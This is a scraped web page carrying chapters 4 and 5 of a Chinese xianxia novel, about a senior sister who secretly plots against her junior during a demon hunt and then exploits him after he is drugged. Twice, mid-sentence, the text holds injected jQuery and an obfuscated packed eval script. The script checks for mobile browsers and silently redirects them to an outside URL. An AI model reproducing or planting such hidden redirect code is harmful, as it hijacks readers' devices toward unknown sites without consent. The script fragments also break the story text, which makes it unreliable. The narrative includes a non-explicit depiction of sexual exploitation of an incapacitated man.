$(''.inform'').remove(); $(''#content'').append('' > 又听一同来的刀修道:“我们在石缝内发现涂火鸟的鸟卵,还有……几根人的腿骨,涂火鸟生性残暴,竟以人骨筑巢,简直罪大恶极,还请展师兄尽快召唤鉴魔镜诛杀!” “涂火鸟现下在何处?”展言岚神情严肃,追问道。 “穆师妹他们已经将它引到山壁空旷处,准备布阵将它困住。” 展言岚一听,眸光乍变,“不好!” 陡峭山壁或可限制涂火鸟行动,一旦到空旷处,符修确有大显身手布阵的机会,但涂火鸟一样有余力反击。 果不其然,涂火鸟非但冲破第一道阵法,还连伤多名修士。 穆禾云怨自己修为不济,难道对付涂火鸟这样的级别的魔物,真的要等展言岚以鉴魔镜诛杀不可? 她不信邪,修士们来不及阻止她奋身而去,一条突如其来的蛇尾遽然窜出,以横扫千军的威势扫来,狠狠撞开穆禾云。 穆禾云倒地,猛吐一口鲜血,修士们察觉上方光线不对,抬头见头顶漆黑一片,如乌云遮蔽月轮,掩了月色,一只竖瞳的蛇眸登时闯入视线,修士们手脚冰凉。 蛇首低俯,比过他们所在的半个空旷地大。 巨蛇盘旋半山腰,只留蛇首和一截蛇尾在山顶,尤为特别的鳞片黑曜石般乌黑亮丽。 有修士当即认出它来,“是两百年的乌鳞蛇,此魔物诞液剧毒无比,快离远些,莫被它咬伤!” 乌鳞蛇嘶吼,震荡四方,下一瞬,毫无征兆咬向半空的涂火鸟,速度相当迅猛,涂火鸟长鸣一声,仅仅挣扎几下,红火的羽翼霎时如扑灭的火焰黯淡无光。 修士们惊骇于眼前一幕,包括赶来的展言岚和谢叠芳。 没见过什么世面的修士说话磕磕巴巴,“这、这乌鳞蛇怎么……怎么咬起自己同类来了?” 这句话传入乌鳞蛇耳中,惹恼了它,双眸显露凶光,挪动粗壮的蛇身,带动整座山壁震动。 忽地,地面崩开数条大大小小的缝隙,乌鳞蛇从地下进攻,蛇尾冲破地面,受伤倒地的修士还未及时起身便坠下山壁,混乱间,展言岚方要出剑,眼前登时一黑。 一双手死死捂住他双眼,触及肌肤,柔软、诡异的冰凉袭来,展言岚挣脱不开,紧接着,耳畔山壁坍塌声逐渐变小,他不受控,慢慢失去意识。 山壁彻底坍塌,整支诛魔队伍四分五裂,那些重伤的修士倒霉透顶,坠下山壁,生死难料,未受伤的修士尚能保全自身,力挽狂澜救人,四处找寻落单的同门。 那名汇报展言岚的刀修远远瞧见谢叠芳救起重伤的修士,赶去追问:“二师姐,方才你与展师兄一道赶来,可曾见到他?” “和他赶到时,我便去救其他受伤的修士,”谢叠芳十分诧异,“怎么,他也不见了?” 刀修赶忙点头,“我寻了一圈,始终不见展师兄身影。” 谢叠芳犯了难,思忖片刻,将身旁重伤的修士托付给他,“你先带他和队伍会合,我去找展师弟,我们在小敦村会合,切记,路上切莫招摇过市,引来魔物。” 谢叠芳办事,刀修放宽心,满口应下,果真带人离开。 待人飞远,谢叠芳才收回焦灼的表情,她不动声色,来到一块石壁前,将其推开。 展言岚安静地躺在石壁后面。 谢叠芳指甲内塞进迷神草草籽磨成的粉末,只要风一吹便飞出来,用量很小,但迷晕阴阳境修士绰绰有余。 她掐诀净了手。 望着那张清俊的面容,谢叠芳语调低沉,听不出情绪。 “别怪我……” 4. 第 4 章 要怪就怪棋夫子器重你,而你又容易上当受骗。 谢叠芳抱起昏迷的展言岚,神情难辨,往嘴里叼着涂火鸟,即将逃之夭夭的乌鳞蛇深深瞟了一眼,随后转身飞落。 她没有走远,随意寻了处草木丛生的角落,放下展言岚后,她拔出袖中匕首。 锐利的刀锋寒光透亮,映出一双眼色尖锐的桃花眸。 取展言岚一滴心头血,哪怕自己被鉴魔镜所伤,只要破解认主封印,谢叠芳半年来的苦心孤诣便值得。 下一刻,谢叠芳再看展言岚最后一眼,毫不犹豫往他心口所在的方向刺去。 “你在做什么?”一声突兀的声音打断谢叠芳生恨的思绪。 匕首在紧要关头偏了方向,当头刺在展言岚臂膀身侧。 展言岚愕然,始料未及谢叠芳竟会趁他昏迷之际对他痛下杀手,眼前的师姐蹁跹粉影,还是他所熟悉的圣洁仙子。 可她眼底生寒。 展言岚醒时神志迷蒙,但见依稀一道冷光飞闪而过。 是匕首雪亮的刀锋。 剑修,对这点尤为敏感,他倏地清醒,紧接着看见手持匕首者正是谢叠芳,当即脱口而出:“你在做什么?” 谢叠芳一言不发,眼里寒光渐淡,轻推开他,缓缓提起匕首。 一条碧绿肥蠕的毒虫映入展言岚眼中,它被刀锋刺穿,喷出一股毒液溅在刀锋处。 谢叠芳拿到展言岚面前,毒虫几近透明的皮肤下布满交错的暗红色血管,张着大嘴,牙口处长着两排细细的獠牙,乍一看,像倒刺。 展言岚看得眉头微蹙。 谢叠芳神闲意定,“这是南疆特有的血盘虫,不常见,喜阴湿,沼泽泥沼之地都能看见它们的身影,没想到会出现在山壁处。” “要是被它吸上一口,小心……会没命的。” 她双手配合默契,自顾解释,很快处理掉血盘虫,除掉它体内的虫卵,以绝后患,仿佛对自己方才下刀之举,目中所带的寒意与杀气浑然无觉。 展言岚垂首,心有疑虑,静默半晌,眉头紧锁,并不接话,似乎在提防她。 “展师弟怎么不说话,是身体不适吗?” 展言岚醒神,抬头见谢叠芳目不转睛地盯着自己,抿了抿唇,试探性地问:“我为何昏迷在此?” 谢叠芳停止手里的动作,纳罕道:“为何昏迷,莫非你自己也不清楚?” 展言岚有些惊恐,微微摇头。 谢叠芳思索片刻,也一副百思不得其解的神态,方要开口,几番挣扎,又选择沉默。 须臾,她终于道:“乌鳞蛇闹出的动静极大,石松崖塌了大半,我们所在的山壁崩陷,队伍分散了,不少修士有伤在身,我无暇顾及那两只魔物,毕竟人命关天,可之前向师弟汇报的那名刀修碰到我时说找不到你,情况紧迫,我们便兵分两路,届时小敦村会合。” “发现你时,你昏倒在石壁,我便带你到此处检查伤势……血盆虫的出现是我疏忽大意,险些酿成大错,陷你于危难。” 她充满深深的自责,低头用布擦净匕首,随即又补充道:“你放心,分开前我嘱咐过他们低调行事,一旦到了小敦村,任何事必定迎刃而解……” 展言岚忽道:“对不住,是我误解你了。” 谢叠芳略微错愕,“……误解?” 展言岚凝望着她,“方才醒来的第一眼,你拿着匕首,我以为……” “以为我想杀你?”谢叠芳毫不迟疑替他接上这句话。 虽然展言岚很不想这般认定,但彼时谢叠芳那种眼神,寒冰一般的煞气,不免令人多想。 展言岚默认。 谢叠芳却不以为意,“血盆虫不是一般毒虫,不怕火烤,我若轻举妄动,师弟仅有一条命,也得因我今日之举赔上半条命,血盆虫只有一个致命处,虫首往下一寸,当机立断扎穿才为上上策。” 她说时,展言岚一直深深凝望着她,欲言又止,愧疚有之,微微抿着唇,形单影只委身角落,我见犹怜,皆落入谢叠芳眼中。 “别用这样的眼神看着我,小心……” 说到这儿,谢叠芳笑着,诡异地刹住,不再说下去。 “小心?”展言岚迷惑。 “没什么。”谢叠芳扫视他,目光缓缓描摹过,“看样子,你完好无伤,对昏迷前发生的事真的一点印象也没有吗?” 展言岚尽力回忆,对那双冰凉柔软的手还存留印象,“有,昏迷前似乎有一双女子的手捂住我双眼,之后,我什么也听不到,意识模糊,直至昏死。” 谢叠芳眼底没有情绪,抛出一个没有证据支撑的结论,“南疆诡异,说不定当时在场的不止我们,除了那两魔物外,还有第三人,暗中潜伏其中罢。” 说及此,谢叠芳暗松了口气,感激那条突然出现的血盆虫,它死得算是有点用处,她委实没料到展言岚居然能在极短的时间内苏醒。 擦干净刀锋上的毒液,弥漫在空气中毒液的气息逐渐变淡。 展言岚起身,遥见东方既白,“天亮了,你要回风雷岛了吗?” 谢叠芳摇头,道:“我不急着回去,陪你一起罢。” 虽然偏离了路线,展言岚的图纸也遗留在队伍,但两人离小敦村已经不远了,谢叠芳常来南疆采药,追寻记忆,找到去小敦村正确的路。 临近小敦村已是戌时一刻,天已经彻底暗了,靠天幕上的星月引光探路。 村落格外安静,夜风卷起落叶的沙沙声传荡,周遭屋舍前挂着的灯笼摇曳,而屋舍内早已熄了烛火。 谢叠芳奇怪道:“南疆不同于中州,正当戌时,村落寻常人家秉烛夜游,再不济屋内留一盏烛火,怎么到了小敦村街上竟无一人,灯也已灭下?” “这户人家屋内倒是亮着。”展言岚停步,转向东北方位的一户人家。 院外挂着一盏红灯笼,屋内烛火昏黄,漆黑村落内甚是显眼。 谢叠芳走向前去,“队伍还未到,我们今晚只能留村过夜,此地曾遭涂火鸟袭击,万事小心。” 展言岚应下。 谢叠芳行至院门,叩门而言:“叨唠了,敢问可有人在?” 约莫过了十息,院门敞开一边,一个满头白发,满脸皱纹的老妪弓身探出,上了年纪,气息悬浮:“你们是什么人啊?” 谢叠芳连忙道:“婆婆,我们采集药草途经贵地,赶巧碰上天黑,荒郊野岭,无地可宿,能否暂留我们一夜?” 老妪又看了她身后的展言岚一眼,心领神会,顿时眉开眼笑,“不麻烦,快进来。” 她引二人进屋,呼唤道:“老头子,家里来客人了,赶紧腾出一间屋子给这小两口。” 展言岚愕然,方要解释,却见谢叠芳拦他一步,礼貌回道:“多谢婆婆。” 老妪收拾桌上残羹剩饭,有些不好意思:“姑娘,你看我们老两口刚用完饭,家里还剩些馒头,姑娘不嫌弃的话我去热一热送来。” 谢叠芳道:“我们带了干粮,就不麻烦婆婆。” 老妪本想再去,还是被谢叠芳笑盈盈谢绝。 待老翁收拾好空屋舍,老妪才带两人进屋。 屋内简陋,只有一张床铺,没有桌子,老翁端来的茶水也是两只空碗和装水的木壶,放在一条特地从院内挪来的长椅。 老妪又抱来被褥,简单铺好,谢叠芳借机问道:“婆婆,我们进村想寻个落脚处,发现大多数人家都灭了灯,可是早早便睡下了?” 老妪放下被子,笑呵呵道:“姑娘从外地来有所不知,我们村有个不成文的规矩,亥时前必须灭灯入睡,但大伙戌时前就把烛火灭了,我家老头子回家晚了些,这会儿才吃完饭,姑娘你们也早些歇息吧。” 谢叠芳问:“亥时必须灭灯入睡,这是为何?” 老妪面露难色,似乎在担忧什么,再三犹豫,还是如实说清,“一到亥时,村内便有婴孩啼哭声,不知从哪里传来,婆婆小的时候还不信,活了这把年纪,从未离开村落,每夜哭声都传开,十几年前村有一个年轻小伙子,犯了禁忌,清早连人都找不到。 “久而久之,村民们就算醒着,也不敢踏出家门半步,你们安安心心待在婆婆给你们打扫的屋子里,哪儿也别去,就不会有事。” 她摇头感叹,掌着蜡烛,带上房门离开。 屋内陷入黑暗,月光漏进,照落地面。 床铺只有一张,展言岚见谢叠芳已坐在床前,涩然开口:“师姐今夜好生歇息,师弟去屋外守着。” “你方才没听婆婆说什么?”谢叠芳不大愉悦。 “婆婆说不可出家门,我不走远,守在门外,打坐便可,况且男女有别,共处一室终究不妥……” “话虽如此,可婆婆认定我们是一对寻常夫妻,你贸然出屋,必定惹来猜忌,别忘了,我们来的不是南疆寻常的村落,是师尊命你诛魔的小敦村。” “这地方处处透着古怪,涂火鸟袭村之事早已闹开,引动风雷岛修士诛魔,可婆婆和她丈夫却只字未提,若无其事般,反倒要我去留意婴孩啼哭,不允出门,”谢叠芳话锋一转,“那名刀修汇报时,提及涂火鸟的鸟卵以人腿骨筑巢,你可记得?” “记得。” “进屋前绕过后厨,我留意后厨,在柴堆看到了一截人的腿骨。” 展言岚瞳孔骤然紧缩。 谢叠芳严肃道:“所以,婆婆一定知晓内情,但她不想让我们发现任何蛛丝马迹,处处限制我们行动。 “我们只能等,既是特意打理的空屋舍,她要我们歇息,我们便歇息,但这床铺不是白得的,有人今夜会来看望我们。” 为方便行动,谢叠芳睡在外侧,展言岚睡在内侧,奈何床铺勉强平躺下两个成年,左右挪移不得。 尤其是展言岚,他不敢挪动,心神难安,谢叠芳平静躺在身侧,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902427|176700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般近的距离,比过昨夜月下交谈。 说是歇息,堪比酷刑。 他侧过脸,借着月光,依稀瞧见谢叠芳轻阖双目,呼吸平稳,似是睡着。 此刻,屋外传来一声声空旷深远的婴孩啼哭声,高低起伏,断断续续。 展言岚心绪一动,辰时已至,果真如婆婆所说。 婴孩啼哭不打紧,最重要的是师姐最后一句话。 今夜会有人对他们出手。 谢叠芳和方才没有什么两样,听见婴孩啼哭声也无动于衷,展言岚一度认为她真的睡着。 展言岚动了动唇,方要呼唤谢叠芳,院内忽然有了动静,咔咔作响,像极了风声。 展言岚听出异常,正当他召唤湮尘剑放在身侧,亟欲起身,谢叠芳遽然挪身,一手反拥住,她面朝他脖窝,轻吭道:“闭眼,别动。” 展言岚心突突地跳,闻声,忙不迭闭眼。 一阵阴风吹开房门,门咯吱两声便止,没了动静,紧接着,展言岚感到被褥一沉。 有东西上床铺了。 展言岚隐隐感到脸前一股奇异的湿冷,被子下,他手紧握湮尘剑,手背贴着谢叠芳的手,他不再迟疑,转手将剑柄塞入谢叠芳手中。 下一瞬,谢叠芳蓦地睁眼,跃身而起,脱鞘挥剑,一道灵光瞬间劈在附着在他们身上若即若离的黑雾。 紧要关头,偏是一颗从榻上骨碌滚去飞来的髅头挡下关键一击。 可这毕竟是天地第一剑,剑气未散,对面那堵墙瞬间崩塌,黑雾遭不住湮尘剑的剑气,原形毕露,无数骷髅头聚拢,慌忙攀上倒塌的墙,撤离屋舍。 谢叠芳哪会给它逃命的机会,立时将湮尘剑掷去。 逃窜的黑雾已化为人形,竟是个妖冶女子,身着华丽乌衣,袒露的胸前被剑气所伤,潺潺冒血。 倏地,乌衣女子感到背后一凉,闪避太迟,湮尘剑眨眼间割破她手臂,狠狠扎进地面。 乌衣女子吃痛,脚步趔趄,反身连连倒退,还未站稳,一支金色飞箭贯穿胸膛,将她钉在墙面。 谢叠芳从屋内走出,手挽金乌弓,面目冰冷。 听见动静的老妪和老头慌忙闯出房门,一见院内情形大惊失色。 那乌衣女子见到夫妻二人,娇媚花容因气急败坏而扭曲,“你没给他们吃下馒头?” 老妪心虚低头,没应声,见谢叠芳一步步走进院内,不敢轻举妄动。 谢叠芳瞧见乌衣女子这身装扮,数颗骷髅聚拢于她周身,断定道:“荥海无崖,鬼骷髅,你是销魂娘子。” 销魂娘子不急拔下胸前金箭,手上带血,抹在脸上,“好眼光,可惜知道得太多,仙盟蠢货众多,偏叫你一个小小女修看出端倪。” 谢叠芳面不改色,“小敦村的事其实出自你的手笔,是你嫁祸给涂火鸟。” “是又怎样,怪妾身太聪明,不过放了几根人腿骨,你们不查清,二话不说便对涂火鸟下手,竟还自诩除魔卫道。” “聪明吗?”谢叠芳竟也笑了,鄙夷道:“简直蠢透了,若你没放那人腿骨,我不会那么快起疑,销魂娘子未免太过心急,当夜便要下手,是在怕什么?” “怕?”销魂娘子笑得更嚣张,“妾身仙盟头号诛杀对象绝非徒有虚名,百年来追查妾身的行踪的人不也空手而归,至于找到的,都变成妾身手底下的鬼骷髅罢!” 她有恃无恐般,拔下金羽箭矢,娇笑几声,随即化作黑雾消失。 仅留一句。 “小女修,如今该怕的人是你,赶快回屋看看你那貌美的小男人!” 谢叠芳心头一悸。 展言岚确实从刚才就没跟上来。 她匆忙赶回屋舍,踅身之际,看向老夫妻二人,“婆婆,我本无意伤你们,但你们所为,恕我无法心慈手软。” 金乌弓脱手,搭箭拉弓,半空中直指凡人夫妇。 老头连忙护住老妪在身后,老妪泫然欲泣,连连恳求道:“姑娘,方才那销魂娘子其实是我闺女,求姑娘网开一面……” 谢叠芳完全不听解释,截口威胁道:“我没出来前,不得离开院门半步,否则休怪我无情。” 她闯入屋中,东面的墙倒塌,屋内一片狼藉,却不见展言岚身影。 “展师弟!” “展师弟!” 谢叠芳掀开破败的窗棂,小小一间屋子,展言岚人能到哪去? 终于,一声微弱的呼唤自角落传来,“师姐……” 谢叠芳遁声望去,展言岚无力地倚靠墙面,头往后仰,昂着下巴,发丝凌乱,衣衫半解,外袍逶迤在地,似乎在竭力克制什么,却又无能压制…… 歪颈难耐地喘息,眼神迷离。 他脚边那几颗落单的鬼骷髅没了魔力驱使,与寻常人骨无异,里面装着的粉红色粉末撒了出来,谢叠芳顿时反应过来。 销魂娘子居然给他下了销魂散! 5. 第 5 章 谢叠芳撞见眼前这一幕,脑袋一嗡,一时恍惚,想动,双脚像被钉死在原地。 销魂散,中毒者半个时辰内不得阴阳调和,必七窍流血,暴毙而亡,神仙来了也无用。 蓝衣青年焦躁难安,抖若筛糠,时感冷热,冷汗浸湿了墨色长发,贴在脸颊,衣襟亦湿了大片。 他咬牙忍耐,自然清楚自己中了什么毒,恨不能钻入地里,把自己深深埋起来,可他便是压制,滋长得愈发猛烈,痛苦叫嚣。 双重折磨下,他竟还能保持理智,“别管我,你、你快走……快走!” 多正派,也多虚伪。 宁可暴毙而亡,也不愿被染指,跌下云端。 看看。 他居然用指甲去抠墙角,试图通过这样的方式分散注意力,压制销魂散。 真可笑。 谢叠芳眼下惊异皆散,阴翳取而代之。 她就这样静默地盯住展言岚,似乎在欣赏他对自己既忍耐又宽慰,循序渐进地纾解……每一分变化,皆入了谢叠芳的眼,不允它们从目光中溜走。 像冷潭探出头的蛇类,盯住岸上的目标,绝不会放过。 你不是一直在等待时机吗? 倏然,有一个声音在谢叠芳心里极力呐喊。 展言岚如今手无缚鸡之力,如待宰羔羊。 机会就在眼前。 你还有心思欣赏? 去啊。 谢叠芳。 你更待何时?! 杀了他! 谢叠芳终于走近展言岚,离得近,所谓的高岭之花被摧残过,不也还是乖乖表现出它独有的脆弱美。 汗水津津。 谢叠芳瞧见一滴汗珠从展言岚那白皙纤弱的脖颈滚落,不知道被刀割破时又是怎样一番景象。 会很好看吧? 在他纤尘不染的蓝衣上添一抹妖艳的红,令人颤栗的美感。 谢叠芳蹲下时,展言岚的意识已经彻底混乱,她朝他伸手,为他拨开乱发,平素规矩微抿的薄唇早已是另一种模样。 殷红的唇微张,水光潋滟。 她试探地轻触。 温软,濡湿。 这一轻微的触碰,惊动了迷蒙中的展言岚,他尚未清醒,微微睁开虚虚闭着的眼眸,眼里满是迷醉,他被欲念支配着,转而促使自己去追逐谢叠芳冰凉的指尖。 谢叠芳故意不躲,全凭他的心意去。 他像是渴水的人饮啄救命的水源,寻到解暑的凉玉。 看着他一发不可收拾,深陷其中的样子,谢叠芳突然改变主意了。 在拿到鉴魔镜前,她找到一件更有趣的事情。 与其对展言岚虚与委蛇,不如换个更彻底的方式。 展言岚不是渴望有人聆听他不堪回首的过去,有人能爱一爱他吗? 她还有一点时间,能施舍点粉饰的爱意递过去,先看他身心愉悦,送上极乐,再看他被自己狠狠刺伤,身心皆痛,成他一生阴影。 这样不是才更解恨么。 解对展言岚不需要她故意让步,也能抢走春试第一的恨,解对展言岚夺走师尊全心栽培的恨……以及最解展言岚字典里没有她谢叠芳的名字的恨。 所以,谢叠芳不介意帮一帮他,救救他的命。 起初,展言岚没感觉到好滋味,双眼先是被缚上,什么都看不见,温软轻盈落下,从额头到下巴,没有暧昧的意味,更像安抚…… 过去的他俊秀冷静而克制,如今的他妖艳热烈而热情。 甜头给多了,难免食髓知味,被销魂散放大欲念的展言岚也不例外,他和装满珠宝的盒子一样被打开,心肝都要发颤,咬牙抑制的同时不住拧紧眉头哀哀呻吟,撞裂破碎,欲拒还迎。 …… 鸟雀啁啾,天渐亮。 展言岚昏昏沉沉醒来,头有些痛,辨不清身在何处,他起身,身上的衣服妥帖完好,外袍也穿着,可昨夜……他分明中了毒,早已把外袍解了扔在地上。 为何? 为何…… 后面究竟还发生了什么? 展言岚不解,看向对面倒塌的木墙和窗棂,都在向他证明昨夜鬼骷髅袭击是真的。 他挪动身子,身下却传来异样的感觉,不敢再细想下去,掀开衣袖,一个深深的牙印就在手臂上,是昨夜他纾解不成,自己狠心咬下。 思及此,他缓缓揭开左边衣襟,神色张皇,果不其然,有一个牙印,轻咬上去,虽小但深。 未经情爱,蛛丝马迹可寻,他自然明白发生了什么,他中的毒是情毒,唯有阴阳调和方可解毒,昨夜是师姐赶回来寻他,之后…… 之后…… 展言岚不敢再细想下去,忆起零星的片段,他面上一红,攥紧胸前衣襟。 待他终于敢踏出屋舍时,院内一片清净,那对老夫妻面对谢叠芳而坐,战战兢兢,谢叠芳则拨弄着茶碗,茶碗骨碌骨碌在桌上滚动,碗内的水一滴未溅。 她抬眼瞧见展言岚,自觉起身,好整以暇,对老夫妻道:“展仙长来了,你们同他好好说说销魂娘子究竟怎么回事。” 展言岚走到谢叠芳跟前,欲言又止,碍于老夫妻在场,他不敢当场直言昨夜之事,顺着她示意坐在老夫妻面前。 谢叠芳在一旁道:“该解释的,我尽解释了,我们受风雷岛岛主之命诛杀作乱小敦村的罪魁祸首,展仙长为人清正,秉公办事,你们如实招来,切莫隐瞒。” 老妪从方才脸色就不太好,愁眉苦脸,开口的是她的丈夫,老翁摸了把泪才说:“昨夜谋害仙长,非我们夫妻本意。” “三年前,我们夫妻二人还有一个十六岁的闺女,我和我老伴这把年纪,老来得女,自然疼爱些,把这丫头养成野性子,成日混迹村外,无法无天,我和老伴管教不了,但只要她没做什么伤天害理的事,我们就放任她去了。” “直到有一日下午雨停,村头的老张带着十几个壮丁匆匆忙忙回村,扛着四五个孩子的尸身,那些孩子里边有我闺女平时的玩伴,又听村头老张说隔壁村的山头塌了,村里十几个孩子原先都去了那儿遭了难,他们只挖出这些人来,只有一个孩子活着,趁现在天亮,赶紧带锄头赶回去,看能不能把人都找回来。” “我当时吓坏了,不敢多想,也随他们去,可到头来,我们去了好几回,一个孩子都没找到,回到家中,我老伴哭得死去活来,她也是听村民口口相传知根知底。一天死了十几个孩子,村长特地为他们安葬,我闺女尸身没找到,便用平日里穿的衣物做了个衣冠冢。” 说到这儿,老翁顿了下,平稳了气息,“也就在那天夜里,销魂娘子用我死去闺女的身体回来了,她似乎受了伤,并不会长久待在我闺女身体,需要一段时间才能适应,于是威逼利诱,逼我和我老伴替她掩护,又用我闺女的样子和声音哭诉哀求,只要销魂娘子活着,我闺女也一样能活着。” 老翁哽咽道:“……我们当时也是鬼迷心窍,思念闺女,竟然听信她的话,差点害了整个村子的人,替她骗了不少诛魔修士。就在一个月前,销魂娘子为了助长力量,把目标转移到诛魔的队伍,于是祸害周围几个村子,闹得人心惶惶,她把罪名嫁祸给涂火鸟,就是为了引来修士注意,她好一网打尽。” “我们夫妻二人为虎作伥,纵容至今,唯有赎罪,可还请仙长诛杀销魂娘子……”老翁起身,对展言岚叩首以拜,“为村子除恶,让我闺女入土为安,入轮回。” “老爷子,使不得,”展言岚连忙起身,扶住他,“风雷岛修士本就为诛魔而来。” 谢叠芳此刻便道:“小敦村的村民中有人可知祸首乃销魂娘子?” 老翁摇头,“销魂娘子行踪诡秘,有一次出手故意引来涂火鸟,村里都认为是那魔物干的,大伙从未见过销魂娘子本人,就算见着了,他们也会认为是我闺女怨念不散。” “既如此,你们全然当不知情,日后也不必向村民解释,你闺女的尸身我们会好生安葬,送她入轮回。” 展言岚听到这儿,方要开口,却被谢叠芳扯过手臂。 她不顾老夫妻二人请求同去,告了辞,拉着展言岚离开小敦村。 展言岚被谢叠芳拉着走出五里远,见她一味往前走,犹豫再三,吭声问道:“师姐明知晓被魔物附身的凡人入不了轮回,为何答应?” 谢叠芳停步,并未回头,“你不答应,他们必不死心,届时诛杀销魂娘子,如此惨状,你愿他们看到?” 展言岚赶忙说:“自是不愿。” 谢叠芳语调慢慢变轻,轻叹一声,惆怅道:“老爷子闺女无辜,那涂火鸟呢?它和这件事毫无干系,何其无辜,诛魔行动诛杀的不应该是那些祸害苍生的魔物么。” 谢叠芳双肩微微抽搐,与平时和蔼坚韧的她判若两人,柔弱无依,令展言岚欲言又止,愁着眉头,不知如何是好。 谢叠芳转过身来,倔强着,“是不是只要是魔物就该死。” 她早已是另外一副神情,神情哀伤,泫然欲泣。 展言岚顿时心慌,手忙脚乱,他不明白谢叠芳为什么会有这么大的反应,也不知道该如何应答谢叠芳的话,面对她楚楚可怜之态,更不懂安慰,木讷地追问道:“……师姐何出此言?” 谢叠芳看到他如今焦灼的反应,似乎发觉自己不妥之处,忙不迭松开他,拭掉眼泪,平复情绪,重新抬头注视他道:“展师弟,我怕我们作为诛魔修士,身负除魔卫道之责,却错杀,任由罪魁祸首逍遥法外。” 原来如此,展言岚恍然大悟,终于松了口气,欣然道:“师尊授我鉴魔镜,便是诛杀祸乱小敦村的真凶,我绝不会任由销魂娘子逍遥法外,至于涂火鸟,本无它事,却被嫁祸,牵扯进来,师姐放心,我不伤它分毫。” 闻言,谢叠芳低头应了声。 展言岚这才放宽心,想起私事,注意谢叠芳的反应,支支吾吾道:“昨夜、昨夜我和你… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902428|176700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 话未说完,谢叠芳忽然把手里的湮尘剑塞入他怀里,急匆匆地转身远去,“只是在救你,权当忘了吧。” 忘了? 展言岚有些茫然,看着湮尘剑,又望见谢叠芳往丛林的方向去,赶忙追上。 诛魔队伍始终未与二人会合,唯恐徒生变故,谢叠芳和展言岚赶紧寻找队伍踪迹。 此时,诛魔队伍四处在丛林内大肆搜刮涂火鸟的鸟卵,全部堆在一起,十来枚鸟卵足有小山高,穆禾云打量着,十分解气。 刀修冒着挨骂的风险,忍不住道:“穆师妹,二师姐离开前说了,不要惊扰魔物,速速赶到小敦村,现下你将涂火鸟的鸟卵都搬在一起,万一惹来涂火鸟,我们不敌,如何是好啊?” 穆禾云一意孤行,“要的就是涂火鸟自投罗网,有鸟卵在手,还怕它不肯来,二师姐如今人不在,展师兄也不在场,难道要坐以待毙?” 眼见她又指挥旁人把一枚鸟卵捅破,试图引来涂火鸟,见这气势汹汹的阵仗,刀修只能闭口不言。 穆禾云眼见那枚鸟卵被捅个稀巴烂,涂火鸟迟迟不来,估摸着一枚不足以,连忙吩咐其他修士都把这些鸟卵全都毁掉。 众修士一听,面面相觑,迟疑不决。 穆禾云蹙眉,怒声道:“怎么,我的话你们都不听了吗?” 几名修士站了出来,“穆师妹,念在三师姐出岛前嘱托我等对你多多照拂,但绝非事事皆要听从你。” “我们肯收集这些鸟卵,是因为这是引来涂火鸟的唯一法子,如今我们又背着二师姐和展师兄的意思,同你耽搁在此处,你二话不说便要将这些鸟卵都毁了,若它不来,你该当如何?” 穆禾云牙尖嘴利,厉声呵斥:“胆小如鼠,你们不过是怕二师姐展师兄怪罪下来,涂鸟卵来不来,把鸟卵都毁了不就知道了,用得着你说!” 她在空气中抚出一道光,数十张无字道符当空浮现,一面写符,一面观察鸟卵。 符成,穆禾云轻叱:“合!” 道符皆化作符文阵法,排列有序,召唤数十张道符要消耗不少灵力,穆禾云是铁了心要将鸟卵摧毁殆尽。 正当她要道声“去”时,白光忽闪,唰的一声,众修士尚未看清,符文阵法倏地被破了,一把银剑当空坠下,符文如飞沙般地消散,剑势如电,剑气煊赫,掀起尘土飞扬。 “湮尘”! 尘烟消散后,众修士见湮尘剑笔直插入地里,一抹灼亮光华划过剑身,映出对面来的人。 “展师兄!” 此时,展言岚面目冷肃,身后跟着目色平淡的谢叠芳。 展言岚一语不发,直逼涂火鸟鸟卵,沿路拔起湮尘剑。 “从哪儿拿过来,还到哪去。” “展师……”穆禾云面容失色,却被一旁女修按捺住,其余修士纷纷领命,各自将取来的鸟卵归还巢穴。 鸟卵皆已还回去,展言岚看向地上那枚破碎的鸟卵,瞥向穆禾云,“你弄的?” 穆禾云不答,答案就写在脸上,绝无抵赖的可能,谁知展言岚竟也不气不恼,直言道:“就算再毁十枚鸟卵又有何用?祸乱小敦村的真凶绝非涂火鸟,而是仙盟头号诛杀对象的销魂娘子,来此之前,我与二师姐已在小敦村和她交过手。” 众修士相信有之,怀疑有之,众说纷纭。 “我和展师弟在小敦村险些遭到销魂娘子毒手,我与她交过手,只不过还是让她逃了,”谢叠芳将鬼骷髅抛在地,“这是她以魔力驱使的鬼骷髅,销魂娘子擅遁身之术,非以鉴魔镜诛之不可,她见暴露,立马逃之夭夭,唯恐对诛魔队伍下手,我们等不来你们,便离村寻来。” 此时,有男修提出异议,“二师姐,师尊命我们前来诛魔,真凶销魂娘子不假,必须诛之,但涂火鸟亦是魔,我们既然为诛魔而来,何不顺手一道诛杀了。” 展言岚方要辩驳,身前的谢叠芳却道:“师弟所言确有几分道理,但如今销魂娘子下落不明,涂火鸟先暂且放下罢。” 她走向那堆碎掉的鸟卵,俯身刚要清理,一阵奇异的风吹起衣袖,偏首一看,一只巨大的涂火鸟正朝众修士飞来,它飞行迅猛,鼓动燃起烈火的双翼,所过之处燃起一线火光。 涂火鸟发现谢叠芳旁侧破碎的鸟卵,怒不可遏,猛然喷吐火焰,所喷吐的火焰范围广泛,谢叠芳周围的修士免不了遭到攻击,勉强御之。 